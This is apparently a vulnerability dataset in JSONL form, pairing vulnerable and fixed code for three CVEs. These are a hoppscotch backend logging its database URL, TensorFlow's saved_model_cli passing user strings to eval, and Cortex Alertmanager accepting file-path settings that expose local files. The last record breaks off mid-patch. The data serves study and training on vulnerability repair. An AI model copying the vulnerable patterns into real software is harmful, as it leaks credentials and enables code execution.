{"cve_id": "CVE-2023-34097", "cve_description": "hoppscotch is an open source API development ecosystem. In versions prior to 2023.4.5 the database password is exposed in the logs when showing the database connection string. Attackers with access to read system logs will be able to elevate privilege with full access to the database. Users are advised to upgrade. There are no known workarounds for this vulnerability. ", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/hoppscotch/hoppscotch", "patch_url": ["https://github.com/hoppscotch/hoppscotch/commit/15424903ede20b155d764abf4c4f7c2c84c11247"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_83_1", "commit": "1cce117", "file_path": "packages/hoppscotch-backend/src/main.ts", "start_line": "9", "end_line": "55", "snippet": "async function bootstrap() {\n  console.log(`Running in production: ${process.env.PRODUCTION}`);\n  console.log(`Port: ${process.env.PORT}`);\n  console.log(`Database: ${process.env.DATABASE_URL}`);\n\n  const app = await NestFactory.create(AppModule);\n\n  app.use(\n    session({\n      secret: process.env.SESSION_SECRET,\n    }),\n  );\n\n  // Increase fil upload limit to 50MB\n  app.use(\n    json({\n      limit: '100mb',\n    }),\n  );\n\n  if (process.env.PRODUCTION === 'false') {\n    console.log('Enabling CORS with development settings');\n\n    app.enableCors({\n      origin: process.env.WHITELISTED_ORIGINS.split(','),\n      credentials: true,\n    });\n  } else {\n    console.log('Enabling CORS with production settings');\n\n    app.enableCors({\n      origin: process.env.WHITELISTED_ORIGINS.split(','),\n      credentials: true,\n    });\n  }\n  app.enableVersioning({\n    type: VersioningType.URI,\n  });\n  app.use(cookieParser());\n  await app.listen(process.env.PORT || 3170);\n}\n\nif (!process.env.GENERATE_GQL_SCHEMA) {\n  bootstrap();\n} else {\n  emitGQLSchemaFile();\n}"}], "fix_func": [{"id": "fix_js_83_1", "commit": "1542490", "file_path": "packages/hoppscotch-backend/src/main.ts", "start_line": "9", "end_line": "54", "snippet": "async function bootstrap() {\n  console.log(`Running in production: ${process.env.PRODUCTION}`);\n  console.log(`Port: ${process.env.PORT}`);\n\n  const app = await NestFactory.create(AppModule);\n\n  app.use(\n    session({\n      secret: process.env.SESSION_SECRET,\n    }),\n  );\n\n  // Increase fil upload limit to 50MB\n  app.use(\n    json({\n      limit: '100mb',\n    }),\n  );\n\n  if (process.env.PRODUCTION === 'false') {\n    console.log('Enabling CORS with development settings');\n\n    app.enableCors({\n      origin: process.env.WHITELISTED_ORIGINS.split(','),\n      credentials: true,\n    });\n  } else {\n    console.log('Enabling CORS with production settings');\n\n    app.enableCors({\n      origin: process.env.WHITELISTED_ORIGINS.split(','),\n      credentials: true,\n    });\n  }\n  app.enableVersioning({\n    type: VersioningType.URI,\n  });\n  app.use(cookieParser());\n  await app.listen(process.env.PORT || 3170);\n}\n\nif (!process.env.GENERATE_GQL_SCHEMA) {\n  bootstrap();\n} else {\n  emitGQLSchemaFile();\n}"}], "vul_patch": "--- a/packages/hoppscotch-backend/src/main.ts\n+++ b/packages/hoppscotch-backend/src/main.ts\n@@ -1,7 +1,6 @@\n async function bootstrap() {\n   console.log(`Running in production: ${process.env.PRODUCTION}`);\n   console.log(`Port: ${process.env.PORT}`);\n-  console.log(`Database: ${process.env.DATABASE_URL}`);\n \n   const app = await NestFactory.create(AppModule);\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41228", "cve_description": "TensorFlow is an open source platform for machine learning. In affected versions TensorFlow's `saved_model_cli` tool is vulnerable to a code injection as it calls `eval` on user supplied strings. This can be used by attackers to run arbitrary code on the plaform where the CLI tool runs. However, given that the tool is always run manually, the impact of this is not severe. We have patched this by adding a `safe` flag which defaults to `True` and an explicit warning for users. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/tensorflow/tensorflow", "patch_url": ["https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_174_1", "commit": "349172c", "file_path": "tensorflow/python/tools/saved_model_cli.py", "start_line": 524, "end_line": 550, "snippet": "def preprocess_input_exprs_arg_string(input_exprs_str):\n  \"\"\"Parses input arg into dictionary that maps input key to python expression.\n\n  Parses input string in the format of 'input_key=<python expression>' into a\n  dictionary that maps each input_key to its python expression.\n\n  Args:\n    input_exprs_str: A string that specifies python expression for input keys.\n    Each input is separated by semicolon. For each input key:\n        'input_key=<python expression>'\n\n  Returns:\n    A dictionary that maps input keys to their values.\n\n  Raises:\n    RuntimeError: An error when the given input string is in a bad format.\n  \"\"\"\n  input_dict = {}\n\n  for input_raw in filter(bool, input_exprs_str.split(';')):\n    if '=' not in input_exprs_str:\n      raise RuntimeError('--input_exprs \"%s\" format is incorrect. Please follow'\n                         '\"<input_key>=<python expression>\"' % input_exprs_str)\n    input_key, expr = input_raw.split('=', 1)\n    # ast.literal_eval does not work with numpy expressions\n    input_dict[input_key] = eval(expr)  # pylint: disable=eval-used\n  return input_dict"}, {"id": "vul_py_174_2", "commit": "349172c", "file_path": "tensorflow/python/tools/saved_model_cli.py", "start_line": 611, "end_line": 711, "snippet": "def load_inputs_from_input_arg_string(inputs_str, input_exprs_str,\n                                      input_examples_str):\n  \"\"\"Parses input arg strings and create inputs feed_dict.\n\n  Parses '--inputs' string for inputs to be loaded from file, and parses\n  '--input_exprs' string for inputs to be evaluated from python expression.\n  '--input_examples' string for inputs to be created from tf.example feature\n  dictionary list.\n\n  Args:\n    inputs_str: A string that specified where to load inputs. Each input is\n        separated by semicolon.\n        * For each input key:\n            '<input_key>=<filename>' or\n            '<input_key>=<filename>[<variable_name>]'\n        * The optional 'variable_name' key will be set to None if not specified.\n        * File specified by 'filename' will be loaded using numpy.load. Inputs\n            can be loaded from only .npy, .npz or pickle files.\n        * The \"[variable_name]\" key is optional depending on the input file type\n            as descripted in more details below.\n        When loading from a npy file, which always contains a numpy ndarray, the\n        content will be directly assigned to the specified input tensor. If a\n        variable_name is specified, it will be ignored and a warning will be\n        issued.\n        When loading from a npz zip file, user can specify which variable within\n        the zip file to load for the input tensor inside the square brackets. If\n        nothing is specified, this function will check that only one file is\n        included in the zip and load it for the specified input tensor.\n        When loading from a pickle file, if no variable_name is specified in the\n        square brackets, whatever that is inside the pickle file will be passed\n        to the specified input tensor, else SavedModel CLI will assume a\n        dictionary is stored in the pickle file and the value corresponding to\n        the variable_name will be used.\n    input_exprs_str: A string that specifies python expressions for inputs.\n        * In the format of: '<input_key>=<python expression>'.\n        * numpy module is available as np.\n    input_examples_str: A string that specifies tf.Example with dictionary.\n        * In the format of: '<input_key>=<[{feature:value list}]>'\n\n  Returns:\n    A dictionary that maps input tensor keys to numpy ndarrays.\n\n  Raises:\n    RuntimeError: An error when a key is specified, but the input file contains\n        multiple numpy ndarrays, none of which matches the given key.\n    RuntimeError: An error when no key is specified, but the input file contains\n        more than one numpy ndarrays.\n  \"\"\"\n  tensor_key_feed_dict = {}\n\n  inputs = preprocess_inputs_arg_string(inputs_str)\n  input_exprs = preprocess_input_exprs_arg_string(input_exprs_str)\n  input_examples = preprocess_input_examples_arg_string(input_examples_str)\n\n  for input_tensor_key, (filename, variable_name) in inputs.items():\n    data = np.load(file_io.FileIO(filename, mode='rb'), allow_pickle=True)  # pylint: disable=unexpected-keyword-arg\n\n    # When a variable_name key is specified for the input file\n    if variable_name:\n      # if file contains a single ndarray, ignore the input name\n      if isinstance(data, np.ndarray):\n        logging.warn(\n            'Input file %s contains a single ndarray. Name key \\\"%s\\\" ignored.'\n            % (filename, variable_name))\n        tensor_key_feed_dict[input_tensor_key] = data\n      else:\n        if variable_name in data:\n          tensor_key_feed_dict[input_tensor_key] = data[variable_name]\n        else:\n          raise RuntimeError(\n              'Input file %s does not contain variable with name \\\"%s\\\".' %\n              (filename, variable_name))\n    # When no key is specified for the input file.\n    else:\n      # Check if npz file only contains a single numpy ndarray.\n      if isinstance(data, np.lib.npyio.NpzFile):\n        variable_name_list = data.files\n        if len(variable_name_list) != 1:\n          raise RuntimeError(\n              'Input file %s contains more than one ndarrays. Please specify '\n              'the name of ndarray to use.' % filename)\n        tensor_key_feed_dict[input_tensor_key] = data[variable_name_list[0]]\n      else:\n        tensor_key_feed_dict[input_tensor_key] = data\n\n  # When input is a python expression:\n  for input_tensor_key, py_expr_evaluated in input_exprs.items():\n    if input_tensor_key in tensor_key_feed_dict:\n      logging.warn(\n          'input_key %s has been specified with both --inputs and --input_exprs'\n          ' options. Value in --input_exprs will be used.' % input_tensor_key)\n    tensor_key_feed_dict[input_tensor_key] = py_expr_evaluated\n\n  # When input is a tf.Example:\n  for input_tensor_key, example in input_examples.items():\n    if input_tensor_key in tensor_key_feed_dict:\n      logging.warn(\n          'input_key %s has been specified in multiple options. Value in '\n          '--input_examples will be used.' % input_tensor_key)\n    tensor_key_feed_dict[input_tensor_key] = example\n  return tensor_key_feed_dict"}], "fix_func": [{"id": "fix_py_174_1", "commit": "8b202f0", "file_path": "tensorflow/python/tools/saved_model_cli.py", "start_line": 525, "end_line": 560, "snippet": "def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):\n  \"\"\"Parses input arg into dictionary that maps input key to python expression.\n\n  Parses input string in the format of 'input_key=<python expression>' into a\n  dictionary that maps each input_key to its python expression.\n\n  Args:\n    input_exprs_str: A string that specifies python expression for input keys.\n      Each input is separated by semicolon. For each input key:\n        'input_key=<python expression>'\n    safe: Whether to evaluate the python expression as literals or allow\n      arbitrary calls (e.g. numpy usage).\n\n  Returns:\n    A dictionary that maps input keys to their values.\n\n  Raises:\n    RuntimeError: An error when the given input string is in a bad format.\n  \"\"\"\n  input_dict = {}\n\n  for input_raw in filter(bool, input_exprs_str.split(';')):\n    if '=' not in input_exprs_str:\n      raise RuntimeError('--input_exprs \"%s\" format is incorrect. Please follow'\n                         '\"<input_key>=<python expression>\"' % input_exprs_str)\n    input_key, expr = input_raw.split('=', 1)\n    if safe:\n      try:\n        input_dict[input_key] = ast.literal_eval(expr)\n      except:\n        raise RuntimeError(\n            f'Expression \"{expr}\" is not a valid python literal.')\n    else:\n      # ast.literal_eval does not work with numpy expressions\n      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used\n  return input_dict"}, {"id": "fix_py_174_2", "commit": "8b202f0", "file_path": "tensorflow/python/tools/saved_model_cli.py", "start_line": 621, "end_line": 721, "snippet": "def load_inputs_from_input_arg_string(inputs_str, input_exprs_str,\n                                      input_examples_str):\n  \"\"\"Parses input arg strings and create inputs feed_dict.\n\n  Parses '--inputs' string for inputs to be loaded from file, and parses\n  '--input_exprs' string for inputs to be evaluated from python expression.\n  '--input_examples' string for inputs to be created from tf.example feature\n  dictionary list.\n\n  Args:\n    inputs_str: A string that specified where to load inputs. Each input is\n        separated by semicolon.\n        * For each input key:\n            '<input_key>=<filename>' or\n            '<input_key>=<filename>[<variable_name>]'\n        * The optional 'variable_name' key will be set to None if not specified.\n        * File specified by 'filename' will be loaded using numpy.load. Inputs\n            can be loaded from only .npy, .npz or pickle files.\n        * The \"[variable_name]\" key is optional depending on the input file type\n            as descripted in more details below.\n        When loading from a npy file, which always contains a numpy ndarray, the\n        content will be directly assigned to the specified input tensor. If a\n        variable_name is specified, it will be ignored and a warning will be\n        issued.\n        When loading from a npz zip file, user can specify which variable within\n        the zip file to load for the input tensor inside the square brackets. If\n        nothing is specified, this function will check that only one file is\n        included in the zip and load it for the specified input tensor.\n        When loading from a pickle file, if no variable_name is specified in the\n        square brackets, whatever that is inside the pickle file will be passed\n        to the specified input tensor, else SavedModel CLI will assume a\n        dictionary is stored in the pickle file and the value corresponding to\n        the variable_name will be used.\n    input_exprs_str: A string that specifies python expressions for inputs.\n        * In the format of: '<input_key>=<python expression>'.\n        * numpy module is available as np.\n    input_examples_str: A string that specifies tf.Example with dictionary.\n        * In the format of: '<input_key>=<[{feature:value list}]>'\n\n  Returns:\n    A dictionary that maps input tensor keys to numpy ndarrays.\n\n  Raises:\n    RuntimeError: An error when a key is specified, but the input file contains\n        multiple numpy ndarrays, none of which matches the given key.\n    RuntimeError: An error when no key is specified, but the input file contains\n        more than one numpy ndarrays.\n  \"\"\"\n  tensor_key_feed_dict = {}\n\n  inputs = preprocess_inputs_arg_string(inputs_str)\n  input_exprs = preprocess_input_exprs_arg_string(input_exprs_str, safe=False)\n  input_examples = preprocess_input_examples_arg_string(input_examples_str)\n\n  for input_tensor_key, (filename, variable_name) in inputs.items():\n    data = np.load(file_io.FileIO(filename, mode='rb'), allow_pickle=True)  # pylint: disable=unexpected-keyword-arg\n\n    # When a variable_name key is specified for the input file\n    if variable_name:\n      # if file contains a single ndarray, ignore the input name\n      if isinstance(data, np.ndarray):\n        logging.warn(\n            'Input file %s contains a single ndarray. Name key \\\"%s\\\" ignored.'\n            % (filename, variable_name))\n        tensor_key_feed_dict[input_tensor_key] = data\n      else:\n        if variable_name in data:\n          tensor_key_feed_dict[input_tensor_key] = data[variable_name]\n        else:\n          raise RuntimeError(\n              'Input file %s does not contain variable with name \\\"%s\\\".' %\n              (filename, variable_name))\n    # When no key is specified for the input file.\n    else:\n      # Check if npz file only contains a single numpy ndarray.\n      if isinstance(data, np.lib.npyio.NpzFile):\n        variable_name_list = data.files\n        if len(variable_name_list) != 1:\n          raise RuntimeError(\n              'Input file %s contains more than one ndarrays. Please specify '\n              'the name of ndarray to use.' % filename)\n        tensor_key_feed_dict[input_tensor_key] = data[variable_name_list[0]]\n      else:\n        tensor_key_feed_dict[input_tensor_key] = data\n\n  # When input is a python expression:\n  for input_tensor_key, py_expr_evaluated in input_exprs.items():\n    if input_tensor_key in tensor_key_feed_dict:\n      logging.warn(\n          'input_key %s has been specified with both --inputs and --input_exprs'\n          ' options. Value in --input_exprs will be used.' % input_tensor_key)\n    tensor_key_feed_dict[input_tensor_key] = py_expr_evaluated\n\n  # When input is a tf.Example:\n  for input_tensor_key, example in input_examples.items():\n    if input_tensor_key in tensor_key_feed_dict:\n      logging.warn(\n          'input_key %s has been specified in multiple options. Value in '\n          '--input_examples will be used.' % input_tensor_key)\n    tensor_key_feed_dict[input_tensor_key] = example\n  return tensor_key_feed_dict"}], "vul_patch": "--- a/tensorflow/python/tools/saved_model_cli.py\n+++ b/tensorflow/python/tools/saved_model_cli.py\n@@ -1,4 +1,4 @@\n-def preprocess_input_exprs_arg_string(input_exprs_str):\n+def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):\n   \"\"\"Parses input arg into dictionary that maps input key to python expression.\n \n   Parses input string in the format of 'input_key=<python expression>' into a\n@@ -6,8 +6,10 @@\n \n   Args:\n     input_exprs_str: A string that specifies python expression for input keys.\n-    Each input is separated by semicolon. For each input key:\n+      Each input is separated by semicolon. For each input key:\n         'input_key=<python expression>'\n+    safe: Whether to evaluate the python expression as literals or allow\n+      arbitrary calls (e.g. numpy usage).\n \n   Returns:\n     A dictionary that maps input keys to their values.\n@@ -22,6 +24,13 @@\n       raise RuntimeError('--input_exprs \"%s\" format is incorrect. Please follow'\n                          '\"<input_key>=<python expression>\"' % input_exprs_str)\n     input_key, expr = input_raw.split('=', 1)\n-    # ast.literal_eval does not work with numpy expressions\n-    input_dict[input_key] = eval(expr)  # pylint: disable=eval-used\n+    if safe:\n+      try:\n+        input_dict[input_key] = ast.literal_eval(expr)\n+      except:\n+        raise RuntimeError(\n+            f'Expression \"{expr}\" is not a valid python literal.')\n+    else:\n+      # ast.literal_eval does not work with numpy expressions\n+      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used\n   return input_dict\n\n--- a/tensorflow/python/tools/saved_model_cli.py\n+++ b/tensorflow/python/tools/saved_model_cli.py\n@@ -49,7 +49,7 @@\n   tensor_key_feed_dict = {}\n \n   inputs = preprocess_inputs_arg_string(inputs_str)\n-  input_exprs = preprocess_input_exprs_arg_string(input_exprs_str)\n+  input_exprs = preprocess_input_exprs_arg_string(input_exprs_str, safe=False)\n   input_examples = preprocess_input_examples_arg_string(input_examples_str)\n \n   for input_tensor_key, (filename, variable_name) in inputs.items():\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23536", "cve_description": "Cortex provides multi-tenant, long term storage for Prometheus. A local file inclusion vulnerability exists in Cortex versions 1.13.0, 1.13.1 and 1.14.0, where a malicious actor could remotely read local files as a result of parsing maliciously crafted Alertmanager configurations when submitted to the Alertmanager Set Configuration API. Only users of the Alertmanager service where `-experimental.alertmanager.enable-api` or `enable_api: true` is configured are affected. Affected Cortex users are advised to upgrade to patched versions 1.13.2 or 1.14.1. However as a workaround, Cortex administrators may reject Alertmanager configurations containing the `api_key_file` setting in the `opsgenie_configs` section before sending to the Set Alertmanager Configuration API.\n", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cortexproject/cortex", "patch_url": ["https://github.com/cortexproject/cortex/commit/03e023d8b012887b31cc268d0d011b01e1e65506"], "programing_language": "Go", "vul_func": [{"id": "vul_go_34_1", "commit": "e6a3da9", "file_path": "pkg/alertmanager/api.go", "start_line": 310, "end_line": 397, "snippet": "func validateAlertmanagerConfig(cfg interface{}) error {\n\tv := reflect.ValueOf(cfg)\n\tt := v.Type()\n\n\t// Skip invalid, the zero value or a nil pointer (checked by zero value).\n\tif !v.IsValid() || v.IsZero() {\n\t\treturn nil\n\t}\n\n\t// If the input config is a pointer then we need to get its value.\n\t// At this point the pointer value can't be nil.\n\tif v.Kind() == reflect.Ptr {\n\t\tv = v.Elem()\n\t\tt = v.Type()\n\t}\n\n\t// Check if the input config is a data type for which we have a specific validation.\n\t// At this point the value can't be a pointer anymore.\n\tswitch t {\n\tcase reflect.TypeOf(config.GlobalConfig{}):\n\t\tif err := validateGlobalConfig(v.Interface().(config.GlobalConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(commoncfg.HTTPClientConfig{}):\n\t\tif err := validateReceiverHTTPConfig(v.Interface().(commoncfg.HTTPClientConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(commoncfg.TLSConfig{}):\n\t\tif err := validateReceiverTLSConfig(v.Interface().(commoncfg.TLSConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(config.SlackConfig{}):\n\t\tif err := validateSlackConfig(v.Interface().(config.SlackConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(config.VictorOpsConfig{}):\n\t\tif err := validateVictorOpsConfig(v.Interface().(config.VictorOpsConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// If the input config is a struct, recursively iterate on all fields.\n\tif t.Kind() == reflect.Struct {\n\t\tfor i := 0; i < t.NumField(); i++ {\n\t\t\tfield := t.Field(i)\n\t\t\tfieldValue := v.FieldByIndex(field.Index)\n\n\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n\t\t\tif fieldValue.CanInterface() {\n\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif t.Kind() == reflect.Slice || t.Kind() == reflect.Array {\n\t\tfor i := 0; i < v.Len(); i++ {\n\t\t\tfieldValue := v.Index(i)\n\n\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n\t\t\tif fieldValue.CanInterface() {\n\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif t.Kind() == reflect.Map {\n\t\tfor _, key := range v.MapKeys() {\n\t\t\tfieldValue := v.MapIndex(key)\n\n\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n\t\t\tif fieldValue.CanInterface() {\n\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "vul_go_34_2", "commit": "e6a3da9", "file_path": "pkg/alertmanager/api.go", "start_line": 428, "end_line": 433, "snippet": "func validateGlobalConfig(cfg config.GlobalConfig) error {\n\tif cfg.SlackAPIURLFile != \"\" {\n\t\treturn errSlackAPIURLFileNotAllowed\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_34_1", "commit": "03e023d", "file_path": "pkg/alertmanager/api.go", "start_line": 42, "end_line": 49, "snippet": "var (\n\terrPasswordFileNotAllowed        = errors.New(\"setting password_file, bearer_token_file and credentials_file is not allowed\")\n\terrOAuth2SecretFileNotAllowed    = errors.New(\"setting OAuth2 client_secret_file is not allowed\")\n\terrTLSFileNotAllowed             = errors.New(\"setting TLS ca_file, cert_file and key_file is not allowed\")\n\terrSlackAPIURLFileNotAllowed     = errors.New(\"setting Slack api_url_file and global slack_api_url_file is not allowed\")\n\terrVictorOpsAPIKeyFileNotAllowed = errors.New(\"setting VictorOps api_key_file is not allowed\")\n\terrOpsGenieAPIKeyFileNotAllowed  = errors.New(\"setting OpsGenie api_key_file is not allowed\")\n)"}, {"id": "fix_go_34_2", "commit": "03e023d", "file_path": "pkg/alertmanager/api.go", "start_line": 311, "end_line": 403, "snippet": "func validateAlertmanagerConfig(cfg interface{}) error {\n\tv := reflect.ValueOf(cfg)\n\tt := v.Type()\n\n\t// Skip invalid, the zero value or a nil pointer (checked by zero value).\n\tif !v.IsValid() || v.IsZero() {\n\t\treturn nil\n\t}\n\n\t// If the input config is a pointer then we need to get its value.\n\t// At this point the pointer value can't be nil.\n\tif v.Kind() == reflect.Ptr {\n\t\tv = v.Elem()\n\t\tt = v.Type()\n\t}\n\n\t// Check if the input config is a data type for which we have a specific validation.\n\t// At this point the value can't be a pointer anymore.\n\tswitch t {\n\tcase reflect.TypeOf(config.GlobalConfig{}):\n\t\tif err := validateGlobalConfig(v.Interface().(config.GlobalConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(commoncfg.HTTPClientConfig{}):\n\t\tif err := validateReceiverHTTPConfig(v.Interface().(commoncfg.HTTPClientConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(config.OpsGenieConfig{}):\n\t\tif err := validateOpsGenieConfig(v.Interface().(config.OpsGenieConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(commoncfg.TLSConfig{}):\n\t\tif err := validateReceiverTLSConfig(v.Interface().(commoncfg.TLSConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(config.SlackConfig{}):\n\t\tif err := validateSlackConfig(v.Interface().(config.SlackConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase reflect.TypeOf(config.VictorOpsConfig{}):\n\t\tif err := validateVictorOpsConfig(v.Interface().(config.VictorOpsConfig)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// If the input config is a struct, recursively iterate on all fields.\n\tif t.Kind() == reflect.Struct {\n\t\tfor i := 0; i < t.NumField(); i++ {\n\t\t\tfield := t.Field(i)\n\t\t\tfieldValue := v.FieldByIndex(field.Index)\n\n\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n\t\t\tif fieldValue.CanInterface() {\n\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif t.Kind() == reflect.Slice || t.Kind() == reflect.Array {\n\t\tfor i := 0; i < v.Len(); i++ {\n\t\t\tfieldValue := v.Index(i)\n\n\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n\t\t\tif fieldValue.CanInterface() {\n\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif t.Kind() == reflect.Map {\n\t\tfor _, key := range v.MapKeys() {\n\t\t\tfieldValue := v.MapIndex(key)\n\n\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n\t\t\tif fieldValue.CanInterface() {\n\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_34_3", "commit": "03e023d", "file_path": "pkg/alertmanager/api.go", "start_line": 434, "end_line": 442, "snippet": "func validateGlobalConfig(cfg config.GlobalConfig) error {\n\tif cfg.OpsGenieAPIKeyFile != \"\" {\n\t\treturn errOpsGenieAPIKeyFileNotAllowed\n\t}\n\tif cfg.SlackAPIURLFile != \"\" {\n\t\treturn errSlackAPIURLFileNotAllowed\n\t}\n\treturn nil\n}"}, {"id": "fix_go_34_4", "commit": "03e023d", "file_path": "pkg/alertmanager/api.go", "start_line": 446, "end_line": 451, "snippet": "func validateOpsGenieConfig(cfg config.OpsGenieConfig) error {\n\tif cfg.APIKeyFile != \"\" {\n\t\treturn errOpsGenieAPIKeyFileNotAllowed\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/alertmanager/api.go\n+++ b/pkg/alertmanager/api.go\n@@ -1,88 +1,8 @@\n-func validateAlertmanagerConfig(cfg interface{}) error {\n-\tv := reflect.ValueOf(cfg)\n-\tt := v.Type()\n-\n-\t// Skip invalid, the zero value or a nil pointer (checked by zero value).\n-\tif !v.IsValid() || v.IsZero() {\n-\t\treturn nil\n-\t}\n-\n-\t// If the input config is a pointer then we need to get its value.\n-\t// At this point the pointer value can't be nil.\n-\tif v.Kind() == reflect.Ptr {\n-\t\tv = v.Elem()\n-\t\tt = v.Type()\n-\t}\n-\n-\t// Check if the input config is a data type for which we have a specific validation.\n-\t// At this point the value can't be a pointer anymore.\n-\tswitch t {\n-\tcase reflect.TypeOf(config.GlobalConfig{}):\n-\t\tif err := validateGlobalConfig(v.Interface().(config.GlobalConfig)); err != nil {\n-\t\t\treturn err\n-\t\t}\n-\n-\tcase reflect.TypeOf(commoncfg.HTTPClientConfig{}):\n-\t\tif err := validateReceiverHTTPConfig(v.Interface().(commoncfg.HTTPClientConfig)); err != nil {\n-\t\t\treturn err\n-\t\t}\n-\n-\tcase reflect.TypeOf(commoncfg.TLSConfig{}):\n-\t\tif err := validateReceiverTLSConfig(v.Interface().(commoncfg.TLSConfig)); err != nil {\n-\t\t\treturn err\n-\t\t}\n-\n-\tcase reflect.TypeOf(config.SlackConfig{}):\n-\t\tif err := validateSlackConfig(v.Interface().(config.SlackConfig)); err != nil {\n-\t\t\treturn err\n-\t\t}\n-\n-\tcase reflect.TypeOf(config.VictorOpsConfig{}):\n-\t\tif err := validateVictorOpsConfig(v.Interface().(config.VictorOpsConfig)); err != nil {\n-\t\t\treturn err\n-\t\t}\n-\t}\n-\n-\t// If the input config is a struct, recursively iterate on all fields.\n-\tif t.Kind() == reflect.Struct {\n-\t\tfor i := 0; i < t.NumField(); i++ {\n-\t\t\tfield := t.Field(i)\n-\t\t\tfieldValue := v.FieldByIndex(field.Index)\n-\n-\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n-\t\t\tif fieldValue.CanInterface() {\n-\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n-\t\t\t\t\treturn err\n-\t\t\t\t}\n-\t\t\t}\n-\t\t}\n-\t}\n-\n-\tif t.Kind() == reflect.Slice || t.Kind() == reflect.Array {\n-\t\tfor i := 0; i < v.Len(); i++ {\n-\t\t\tfieldValue := v.Index(i)\n-\n-\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n-\t\t\tif fieldValue.CanInterface() {\n-\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n-\t\t\t\t\treturn err\n-\t\t\t\t}\n-\t\t\t}\n-\t\t}\n-\t}\n-\n-\tif t.Kind() == reflect.Map {\n-\t\tfor _, key := range v.MapKeys() {\n-\t\t\tfieldValue := v.MapIndex(key)\n-\n-\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n-\t\t\tif fieldValue.CanInterface() {\n-\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n-\t\t\t\t\treturn err\n-\t\t\t\t}\n-\t\t\t}\n-\t\t}\n-\t}\n-\n-\treturn nil\n-}\n+var (\n+\terrPasswordFileNotAllowed        = errors.New(\"setting password_file, bearer_token_file and credentials_file is not allowed\")\n+\terrOAuth2SecretFileNotAllowed    = errors.New(\"setting OAuth2 client_secret_file is not allowed\")\n+\terrTLSFileNotAllowed             = errors.New(\"setting 